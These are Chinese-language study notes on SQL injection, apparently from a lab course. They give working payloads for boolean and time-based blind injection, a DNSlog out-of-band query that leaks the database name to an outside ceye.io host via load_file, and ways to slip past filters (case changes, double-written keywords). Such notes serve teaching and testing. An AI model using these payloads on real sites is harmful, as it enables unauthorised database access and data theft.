SQL初步注入
十二.伪静态注入
伪静态的网站一般在url中存在数字
十三.盲注(布尔型SQL盲注、时间型SQL盲注)
1.布尔型盲注
vince' and ascii(substr(database(),1,1))=112#'
通过这个方法,就能得到后台数据库的名称的第一个字符的 ascii码,不断测试得出数据库名称
布尔型盲注基本都是通过ascii码来测试的
2.时间型盲注
基于时间的延迟,构造一个拼接语句: vince' and if(substr(database(),1,1)='X' (猜测 vince' and if(substr(database(),1,1)='p',sleep(10),null)# ,在web控制台下,判断出 点)',sleep(10),null# ,输入后,如果猜测真确,那么就会响应10秒,如果错误会立刻返回错误。输 入: database的表名的一个字符为p。通过这个办法我们就能逐步向下获取数据。判断猜解
时间型盲注经常使用的函数: sleep(5)、benchmark(10000000,MD5(1)) benchmark是mysql的内置 函数,是将MD5(1)执行10000000次以达到延迟的效果
十四.DNSlog注入
条件:
1、需要mysql用户具备读文件的权限,因为要借助到mysql的load_file读取文件的函数,权限不够的 话,不能调用这个函数。其实只要mysql中配置项中开启了这个secure_file_priv配置,就可以通过sql语 句来执行文件读写操作。
2、目标mysql数据库服务器能够访问外网 其实load_file()不仅能够加载本地文件,同时也能对诸如 \www.jaden.com 这样的URL发起请求。这样 的url我们称之为UNC路径,简单了解即可。就借助load_file函数能够访问某个网址的特性,来进行 DNSlog注入
select * from member where id=1 and (select load_file(concat('\\\\',(select database()),'.9fqiop.ceye.io\\abc')))
工具: https://github.com/ADOOO/DnslogSqlinj
十五.SQL工具测试
萝卜头(了解)
Pangolin(穿山甲)
sqlmap(重点)
十六.防御绕过
前端绕过
bp抓包修改后再放包即可绕过
后端绕过
情况一绕过:大小写绕过:SELECT * FROM USERS;
情况二绕过:双写:selselectect * from users; 其实str_replace只替换了一次select还剩下一个select
情况三:强防御,这种的很难绕过了,因为我们写的注入语句都是字符串,针对提交数据为纯数字的时 候,这种防御就很难绕过了,但是好多时候,用户正常向后台提交的数据都是非数字类型的,这样的话 就不会进行intval()的加工,就可以尝试其他注入手法。
情况四:开启了魔术符号转义功能,这种的参看我们前面说的宽字节注入、二次注入等